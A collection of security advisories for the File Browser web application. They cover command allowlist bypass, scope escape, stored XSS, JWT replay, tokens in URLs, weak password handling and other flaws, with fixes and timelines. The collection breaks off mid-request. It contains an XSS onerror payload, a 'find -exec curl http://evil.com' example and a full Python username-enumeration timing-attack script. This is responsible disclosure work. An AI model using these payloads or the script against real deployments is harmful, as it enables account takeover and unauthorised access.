github.com/filebrowser/filebrowser known bugs

## Summary ## The *Command Execution* feature of Filebrowser only allows the execution of shell command which have been predefined on a user-specific allowlist. The implementation of this allowlist is erroneous, allowing a user to execute additional commands not permitted. ## Impact ## A user can execute more shell commands than they are authorized for. The concrete impact of this vulnerability depends on the commands configured, and the binaries installed on the server or in the container image. Due to the missing separation of *scopes* on the OS-level, this could give an attacker access to all files managed the application, including the File Browser database. ## Vulnerability Description ## For a user to make use of the command execution feature, two things need to happen in advance: 1. An administrator needs to grant that account the `Execute commands` permission 2. The command to be executed needs to be listed in the `Commands` input field (also done by an administrator) If a user tries to execute a different command, it gets rejected by the application. The allowlist verification of a command happens in the function `CanExecute` in the file `users/users.go`: ```go // CanExecute checks if an user can execute a specific command. func (u *User) CanExecute(command string) bool { if !u.Perm.Execute { return false } for _, cmd := range u.Commands { if regexp.MustCompile(cmd).MatchString(command) { return true } } return false } ``` This check employs a regular expression which does not test if the command issued (`command`) is identical to a configured one (`cmd`, part of the array `u.Commands`) but rather only if the issued command contains an allowed one. This has the consequence, that, e.g., if you are only granted access to the `ls` command, you will also be allowed to execute `lsof` and `lsusb`. As a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands. ## Proof of Concept ## Grant a user the `Execute commands` permission and allow them to use only `ls` in the `Commands` field.  Afterwards, login as that user, open a command execution window and execute `lsof` and `lsusb`.  ## Recommended Countermeasures ## The `CanExecute` function in the *Filebrowser* source code should be fixed to only allow exact matches of the command specified instead of doing partial matching. The correctness of this fix should be extensively tested in the application's automated test suite. ## Timeline ## * `2025-03-25` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-18` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-25` CVE ID assigned by GitHub * `2025-06-26` Fix released in version 2.33.10 ## References ## * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250325-05_Filebrowser_Bypass_Command_Execution_Allowlist) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

## Summary ## In the web application, all users have a *scope* assigned, and they only have access to the files within that *scope*. The *Command Execution* feature of Filebrowser allows the execution of shell commands which are not restricted to the scope, potentially giving an attacker read and write access to all files managed by the server. ## Impact ## Shell commands are executed with the *uid* of the server process without any further restrictions. This means, that they will have access to at least * all files managed by the application from all *scopes*, even those the user does not have access to in the GUI. * the Filebrowser database file containing the password hashes of all accounts. The concrete impact depends on the commands being granted to the attacker, but due to other vulnerabilities identified ("Bypass Command Execution Allowlist", "Shell Commands Can Spawn Other Commands", "Insecure File Permissions") it is likely, that full read- and write-access will exist. Read access to the database means, that the attacker is capable of extracting all user password hashes. This enables an offline dictionary attack on the passwords of all accounts, though the choice of the password hash function (*bcrypt* with a complexity of 10) gives a strong protection against such attacks. Write access to the database means that attackers are capable of changing a user's password hash, allowing them to impersonate any user account, including an administrator. ## Vulnerability Description ## Shell commands executed by a user are created as a simple subprocess of the application without any further restrictions. That means, that they have full access to files accessible by the application. The *scope* that is assigned to every account is not considered. As a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands. ## Proof of Concept ## Any exploit highly depends on the commands granted to the attacker. The following screenshot shows, how all password hashes can be extracted using only the `grep` command:  ## Recommended Countermeasures ## Until this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. As a defense-in-depth measure, organizations not requiring command execution should operate the Filebrowser from a *distroless* container image. There are two approaches to fixing this issue: 1. Limiting the process when it is started e.g., by using *user namespaces* with a tool like *Bubblewrap*. If this path is chosen, it is important to use a method that works both on a bare-metal server and within an unprivileged container. 2. Re-architecting the command execution feature so that file in the various *scopes* have a distinct *uid* as an owner and all shell command are executed under the *uid* of the user's *scope*. ## Timeline ## * `2025-03-26` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-18` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-25` CVE ID assigned by GitHub * `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199. ## References ## * [Sandboxing Applications with Bubblewrap: Securing a Basic Shell](https://sloonz.github.io/posts/sandboxing-1/) * ["Distroless" Container Images.](https://github.com/GoogleContainerTools/distroless) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-01_Filebrowser_Command_Execution_Not_Limited_To_Scope) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

### Summary File Browser’s authentication system issues long-lived JWT tokens that remain valid even after the user logs out. Please refer to the CWE's listed in this report for further reference and system standards. In summary, the main issue is: - Tokens remain valid after logout (session replay attacks) In this report, I used docker as the documentation instruct: ``` docker run \ -v filebrowser_data:/srv \ -v filebrowser_database:/database \ -v filebrowser_config:/config \ -p 8080:80 \ filebrowser/filebrowser ``` ### Details **Issue: Tokens remain valid after logout (session replay attacks)** After logging in and receiving a JWT token, the user can explicitly "log out." However, this action does not invalidate the issued JWT. Any captured token can be replayed post-logout until it expires naturally. The backend does not track active sessions or invalidate existing tokens on logout. Login request: ``` POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69 {"username":"admin","password":"password-here","recaptcha":""} ``` The check found in the code `https://github.com/filebrowser/filebrowser/blob/master/http/auth.go` is not enough. There is no server-side blacklist or token invalidation on logout. Token renewal and validity only depends on expiry and user store timestamps: ``` expired := !tk.VerifyExpiresAt(time.Now().Add(time.Hour), true) updated := tk.IssuedAt != nil && tk.IssuedAt.Unix() < d.store.Users.LastUpdate(tk.User.ID) ``` ### PoC **Issue: Tokens remain valid after logout (session replay attacks)** - Login and capture the generate JWT. Eg. the http request: ``` POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69 {"username":"admin","password":"password-here","recaptcha":""} ``` - Logout in the dashboard. And then try to use the old generated JWT to access any authenticated endpoint eg: ``` GET /api/resources HTTP/1.1 Host: machine.local:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 X-Auth: Old-JWT-token-here Content-Length: 173 Accept: */* Referer: http://machine.local:8090/files/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Length: 26 Connection: keep-alive ``` ### Impact - A valid JWT remains active after user logout. - If stolen, tokens persist access indefinitely until expiry. - Violates OWASP Top 10 A2:2021 - Broken Authentication. ### Recommendations - Read all CWE's attached in this report - Invalidate JWTs on logout via session store / token blacklist. - Reduce JWT ExpiresAt where possible or use short-lived + refresh tokens.

## Summary ## The Markdown preview function of File Browser v2.32.0 is vulnerable to *Stored Cross-Site-Scripting (XSS)*. Any JavaScript code that is part of a Markdown file uploaded by a user will be executed by the browser ## Impact ## A user can upload a malicious Markdown file to the application which can contain arbitrary HTML code. If another user within the same scope clicks on that file, a rendered preview is opened. JavaScript code that has been included will be executed. Malicious actions that are possible include: * Obtaining a user's session token * Elevating the attacker's privileges, if the victim is an administrator (e.g., gaining command execution rights) ## Vulnerability Description ## Most Markdown parsers accept arbitrary HTML in a document and try rendering it accordingly. For instance, if one creates a file called `xss.md` with the following content: ```markdown # Hallo <b>foo</b> <img src="xx" onerror=alert(9)> <i>bar</i> ``` Bold and italic text will be rendered. Also, the renderer used in File Browser will try to display the image and execute the code in the `onerror` event handler. ## Proof of Concept ## The screenshot shows that the code from the file mentioned above has actually been executed in the victim's browser:  ## Recommended Countermeasures ## The most thorough fix would be to reconfigure the application's Markdown parser to ignore all HTML elements and only render rich text which is part of the Markdown specification. If HTML rendering is considered to be a required feature, an HTML sanitizer like DOMPurify should be used, preferably in conjunction with a *Content Security Policy* (CSP). ## Timeline ## * `2025-03-25` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-18` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-26` CVE ID assigned by GitHub * `2025-06-26` Fix released with version 2.33.7 ## References ## * [DOMPurify](https://github.com/cure53/DOMPurify) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250325-04_Filebrowser_Stored_XSS) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

## Summary ## The *Command Execution* feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void. ## Impact ## The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the `Execute commands` permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the *uid* of the server process. ## Vulnerability Description ## Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the `find` command and nothing else, this restriction can be circumvented by using the `-exec` flag. Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview: * <https://gtfobins.github.io/gtfobins/cpio> * <https://gtfobins.github.io/gtfobins/find> * <https://gtfobins.github.io/gtfobins/sed> * <https://gtfobins.github.io/gtfobins/git> * <https://gtfobins.github.io/gtfobins/env> As a prerequisite, an attacker needs an account with the `Execute Commands` permission and some permitted commands. ## Proof of Concept ## The following screenshot demonstrates, how this can be used to issue a network call to an external server:  ## Recommended Countermeasures ## Until this issue is fixed, we recommend to completely disable `Execute commands` for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. The `prlimit` command can be used to prevent the execution of subcommands: ```bash $ find . -exec curl http://evil.com {} \; <HTML> <HEAD> [...] $ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable ``` It should be prepended to any command executed in the context of the application. `prlimit` can be used for containerized deployments as well as for bare-metal ones. WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the `find` command can also delete files directly via its `-delete` flag. As a defense-in-depth measure, Filebrowser should provide an additional container image based on a *distroless* base image. ## Timeline ## * `2025-03-26` Identified the vulnerability in version 2.32.0 * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-25` CVE ID assigned by GitHub * `2025-06-25` A patch version has been pushed to disable the feature for all existent installations, and making it **opt-in**. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199. ## References ## * [prlimit](https://manpages.debian.org/bookworm/util-linux/prlimit.1.en.html) * ["Distroless" Container Images.](https://github.com/GoogleContainerTools/distroless) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250326-02_Filebrowser_Shell_Commands_Can_Spawn_Other_Commands) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

File Browser has an Authorization Policy Bypass in Public Share Download Flow in github.com/filebrowser/filebrowser

File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely in github.com/filebrowser/filebrowser

File Browser has an Access Rule Bypass via Path Traversal in Copy/Rename Destination Parameter in github.com/filebrowser/filebrowser

File Browser Signup Grants Admin When Default Permissions Include Admin in github.com/filebrowser/filebrowser

File Browser's TUS Delete Endpoint Bypasses Delete Permission Check in github.com/filebrowser/filebrowser

FileBrowser has Path Traversal in Public Share Links that Exposes Files Outside Shared Directory in github.com/filebrowser/filebrowser

File Browser has an Authentication Bypass in User Password Update in github.com/filebrowser/filebrowser

File Browser has a Path-Based Access Control Bypass via Multiple Leading Slashes in URL in github.com/filebrowser/filebrowser

File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login in github.com/filebrowser/filebrowser

File Browser has risk of HTTP Request/Response smuggling through vulnerable dependency in github.com/filebrowser/filebrowser

File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function in github.com/filebrowser/filebrowser

File Browser’s insecure JWT handling can lead to session replay attacks after logout in github.com/filebrowser/filebrowser

File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing in github.com/filebrowser/filebrowser

File Browser vulnerable to command execution allowlist bypass in github.com/filebrowser/filebrowser

File Browser allows sensitive data to be transferred in URL in github.com/filebrowser/filebrowser

File Browser: Command Execution not Limited to Scope in github.com/filebrowser/filebrowser

File Browser vulnerable to insecure password handling in github.com/filebrowser/filebrowser

File Browser's password protection of links is bypassable in github.com/filebrowser/filebrowser

filebrowser Allows Shell Commands to Spawn Other Commands in github.com/filebrowser/filebrowser

filebrowser Sets Insecure File Permissions in github.com/filebrowser/filebrowser

filebrowser allows Stored Cross-Site Scripting through the Markdown preview function in github.com/filebrowser/filebrowser

## Summary URLs that are accessed by a user are commonly logged in many locations, both server- and client-side. It is thus good practice to never transmit any secret information as part of a URL. The *Filebrowser* violates this practice, since access tokens are used as GET parameters. ## Impact The *JSON Web Token (JWT)* which is used as a session identifier will get leaked to anyone having access to the URLs accessed by the user. This will give the attacker full access to the user's account and, in consequence, to all sensitive files the user has access to. ## Description Sensitive information in URLs is logged by several components (see the following examples), even if access is protected by TLS. * The browser history * The access logs on the affected web server * Proxy servers or reverse proxy servers * Third-party servers via the HTTP referrer header In case attackers can access certain logs, they could read the included sensitive data. ## Proof of Concept ## When a file is downloaded via the web interface, the JWT is part of the URL: ```http GET /api/raw/testdir/testfile.txt?auth=eyJh[...]_r4EQ HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://filebrowser.local:8080/files/testdir/ Cookie: auth=eyJh[...]_r4EQ Upgrade-Insecure-Requests: 1 Priority: u=0, i ``` This also happens when a new *command session* is started: ```http GET /api/command/?auth=eyJh[...]YW8BA HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Sec-WebSocket-Version: 13 Origin: http://filebrowser.local:8080 Sec-WebSocket-Key: oqQMrF7R34D3lAkj1+ZHTw== Connection: keep-alive, Upgrade Cookie: auth=eyJh[...]YW8BA Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` ## Recommended Countermeasures ## Sensitive data like session tokens or user credentials should be transmitted via HTTP headers or the HTTP body only, never in the URL. ## Timeline ## * `2025-03-27` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-29` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-26` CVE ID assigned by GitHub * `2025-06-26` Fix released in version 2.33.9 ## References ## * [CWE-598: Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250327-03_Filebrowser_Sensitive_Data_Transferred_In_URL) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

## Summary ## The file access permissions for files uploaded to or created from File Browser are never explicitly set by the application. The same is true for the database used by File Browser. On standard servers where the *umask* configuration has not been hardened before, this makes all the stated files readable by any operating system account. ## Impact ## The default permissions for new files on a standard Linux system are `0644`, making them world-readable. That means that at least the following parties have full read access to all files managed by the Filebrowser from all *scopes*, as well as its database (including the password hashes stored in there): * All OS accounts on the server * All other applications running on the same server * Any Filebrowser user with *Command Execution* privileges having access to a command that allows reading a file's content ## Vulnerability Description ## On a Linux system, the file access permissions of new files are designated by the system wide *umask* setting, unless they are configured manually. Most distributions set this value to `022` by default which gives every account on the system read permissions on the file. ```bash $ umask 022 $ touch foo $ ls -l foo -rw-r--r-- 1 sba sba 0 31. Mär 15:08 foo ``` ## Proof of Concept ## Upload or create a file in the Filebrowser GUI and list the directory contents from a shell: ```bash $ ls -l /srv/filebrowser/testdir total 12 -rw-r--r-- 1 sba sba 7703 Mar 25 16:07 dummy1.pdf -rw-r--r-- 1 sba sba 3 Mar 25 15:46 testfile.txt ``` The same can be validated for Docker based deployments within the container: ```bash $ docker exec -it e0f075082a2c ls /srv/testdir -l total 12 -rw-r--r-- 1 1000 1000 7703 Mar 25 15:07 dummy1.pdf -rw-r--r-- 1 1000 1000 3 Mar 25 14:46 testfile.txt ``` Furthermore, the database used by the Filebrowser application is readable by any account: ```bash $ ls -l /srv/filebrowser/filebrowser.db -rw-rw-r-- 1 sba sba 65536 Mar 25 09:58 /srv/filebrowser/filebrowser.db ``` ## Recommended Countermeasures ## Since the system's *umask* configuration cannot be controlled by the Filebrowser, the application needs to set the permissions of all new files manually upon creation. No permissions should be given to the *other* category. Implementing this won't fix the permissions for active instances after an update, so site administrators will need to fix the permissions manually: ```bash $ chmod o-rwx -R /srv/filebrowser/datadir ``` ## Timeline ## * `2025-03-25` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-18` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-26` CVE ID assigned by GitHub * `2025-06-26` Fix released with version 2.33.7 ## References ## * [CWE-276: Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html) * [What is Umask and How To Setup Default umask Under Linux?](https://www.cyberciti.biz/tips/understanding-linux-unix-umask-value-usage.html) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250325-03_Filebrowser_Insecure_File_Permissions) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

## Summary ## All user accounts authenticate towards a *File Browser* instance with a password. A missing password policy and brute-force protection makes it impossible for administrators to properly secure the authentication process. ## Impact ## Attackers can mount a brute-force attack against the passwords of all accounts of an instance. Since the application is lacking the ability to prevent users from choosing a weak password, the attack is likely to succeed. ## Vulnerability Description ## The application implement a classical authentication scheme using a username and password combination. While employed by many systems, this scheme is quite error-prone and a common cause for vulnerabilities. File Browser's implementation has multiple weak points: 1. Since the application is missing the capability for administrators to define a password policy, users are at liberty to set trivial and well-known passwords such as `secret` or even ones with only single digit like `1`. 2. New instances are set up with a default password of `admin` for the initial administrative account. This password is well known and easily guessable. While the documentation advises to change this password, the application does not technically enforce it. 3. The application does not implement any brute-force protection for the authentication endpoint. Attackers can make as many guesses for a password as the network bandwidth allows. The combination of these problems makes it likely, that an attacker will succeed in compromising at least one account in a *File Browser* instance, possibly even one with administrative privileges. The likelihood of such an attack increases substantially for internet-facing instances. ## Proof of Concept ## The insecure default credentials are documented on the application's website:  The following HTTP communication shows, that a trivial password of `1` can be configured by a user: ```http hl:17 PUT /api/users/2 HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://filebrowser.local:8080/settings/profile X-Auth: eyJ[...] Content-Type: text/plain;charset=UTF-8 Content-Length: 319 Origin: http://filebrowser.local:8080 Connection: keep-alive Cookie: auth=eyJ[...] X-PwnFox-Color: cyan Priority: u=0 {"what":"user","which":["password"],"data":{"id":2,"locale":"en","viewMode":"mosaic","singleClick":false,"perm":{"admin":false,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"lockPassword":false,"hideDotfiles":false,"dateFormat":false,"password":"1"}} HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 27 Mar 2025 08:31:34 GMT Content-Length: 7 200 OK ``` The missing brute-force protection can easily be tested by repeatedly sending the following request to the application with a tool such as Burp or hydra. ``` POST /api/login HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 52 Origin: http://filebrowser.local:8080 {"username":"admin","password":"myPasswordGuess","recaptcha":""} HTTP/1.1 403 Forbidden Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 27 Mar 2025 08:39:48 GMT Content-Length: 14 403 Forbidden ``` After sending 3000 bad passwords to the application within a few seconds, a successful authentication is still possible for the account: ```http POST /api/login HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 54 Origin: http://filebrowser.local:8080 Connection: keep-alive {"username":"admin","password":"myCorrectPassword","recaptcha":""} HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain Date: Thu, 27 Mar 2025 08:39:58 GMT Content-Length: 508 eyJ[...] ``` ## Recommended Countermeasures ## The application should add an option to define a password policy in its administrative interface which allows to set a minimum length for passwords. The default settings should be in line with the NIST publication SP 800-63B. This means, that now passwords of fewer than 8 characters should ever be allowed by the application. Whenever a user sets a new password, the application should verify whether that password is part of a "known passwords" list. The application should either create a secure and random password for the `admin` account upon initialization or enforce an immediate password change when that user logs in for the first time using the default password. A brute-force protection needs to be implemented, which limits the allowed amount of authentication attempts per user within a certain timeframe. This implementation should employ *device tokens* to prevent targeted lockout attacks. In addition, it would be advisable to allow the integration of the application into and existing *Identity Provider* using protocols like LDAP or OIDC. ## Timeline ## * `2025-03-27` Identified the vulnerability in version 2.32.0 * `2025-04-11` Contacted the project * `2025-04-29` Vulnerability disclosed to the project * `2025-06-25` Uploaded advisories to the project's GitHub repository * `2025-06-26` CVE ID assigned by GitHub * `2025-06-29` Fix released in version 2.34.1. 12 minimum characters as default has been chosen since the implementation does not include protection against brute force attacks. ## References ## * [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls) * [NIST Special Publication 800-63B. Digital Identity Guidelines. Passwords](https://pages.nist.gov/800-63-4/sp800-63b.html#password) * [Pwned Passwords](https://haveibeenpwned.com/Passwords) * [Common Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials) * [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html) * [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html) * [CWE-1392: Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html) * [Original Advisory](https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20250327-01_Filebrowser_Insecure_Password_Handling) ## Credits ## * Mathias Tausig ([SBA Research](https://www.sba-research.org/))

### Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint. ### Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow. This difference in execution path creates a measurable timing discrepancy: Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing). In auth/json.go: ```go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } ``` ### PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold. ```python import requests import time import random import string import statistics import argparse CALIBRATION_SAMPLES = 20 ENDPOINT = "/api/login" def generate_random_user(length=10): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def measure_response_time(url, username): start = time.perf_counter() try: requests.post(url, json={"username": username, "password": "dummy_pass_123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perf_counter() - start def calibrate(url): print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for _ in range(CALIBRATION_SAMPLES): random_user = generate_random_user() elapsed = measure_response_time(url, random_user) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 * stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold def load_wordlist(wordlist_path): try: with open(wordlist_path, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlist_path}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1) def timing_attack(url, threshold, users): print(f"\n[*] Testing {len(users)} users from wordlist...") print("-" * 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" * 50) found = [] for user in users: elapsed = measure_response_time(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parse_args() target_url = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[*] Target: {target_url}") print(f"[*] Wordlist: {args.wordlist}") try: threshold = calibrate(target_url) users = load_wordlist(args.wordlist) print(f"\n[*] Loaded {len(users)} users from wordlist") print("[*] Starting attack...") valid_users = timing_attack(target_url, threshold, users) print("\n" + "="*50) print(f"SUMMARY: {len(valid_users)} valid users found") if valid_users: for u in valid_users: print(f" -> {u}") print("="*50) except KeyboardInterrupt: print("\n[!] Attack cancelled") if __name__ == "__main__": main() ``` For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" /> I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time. ### Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names). I remain at your disposal for any questions you may have on this matter. Thank you very much. Sincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)

## Summary ## Files managed by the *File Browser* can be shared with a link to external persons. While the application allows protecting those links with a password, the implementation is error-prone, making an incidental unprotected sharing of a file possible. ## Impact ## File owners might rest in the assumption that their shared files are only accessible to persons knowing the defined password, giving them a false sense of security. Meanwhile, attackers gaining access to the unprotected link can use this information alone to download the possibly sensitive file. ## Vulnerability Description ## When sharing a file, the user is presented with a dialog asking for an optional password to protect the file share. The assumption of the user at this point would be, that the shared file won't be accessible without knowledge of the password. After clicking on `SHARE` the following dialog opens allowing the file's owner to copy the share-link:  In fact, there is not one, but two links offered: A `Download Link` and an unnamed second one. They have the following format: * http://filebrowser.local:8080/share/6Gtw0xAw * http://filebrowser.local:8080/api/public/dl/6Gtw0xAw/dummy1.pdf?token=voDK6j[...] Apparently, the first of the two share links is that one that users are supposed to actually share, while the second one is a direct download link not protected by the password. This behavior is not documented anywhere or explained in the GUI, though. There are multiple scenarios how an attacker might gain access to the unprotected link and, in consequence, to the shared file: * The file owner might incidentally share the second link instead of the first one, making it accessible to anyone having read access to the messaging system used (e.g., a mailserver). * After the legitimate receiver of the share has used the password, the unprotected link will get linked in multiple locations like the browser history or the log of a proxy server used. ## Proof of Concept ## Using the first link results in an authorization error if no password is provided, as expected: ```http hl:9 GET /api/public/share/6Gtw0xAw HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://filebrowser.local:8080/share/6Gtw0xAw X-Auth: X-SHARE-PASSWORD: DNT: 1 Sec-GPC: 1 Connection: keep-alive Priority: u=4 HTTP/1.1 401 Unauthorized Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 27 Mar 2025 10:59:12 GMT Content-Length: 17 401 Unauthorized ``` Only if the password is provided (via the `X-SHARE-PASSWORD` header), a proper response is given: ```http hl:9 GET /api/public/share/6Gtw0xAw HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://filebrowser.local:8080/share/6Gtw0xAw X-Auth: X-SHARE-PASSWORD: 1234 DNT: 1 Sec-GPC: 1 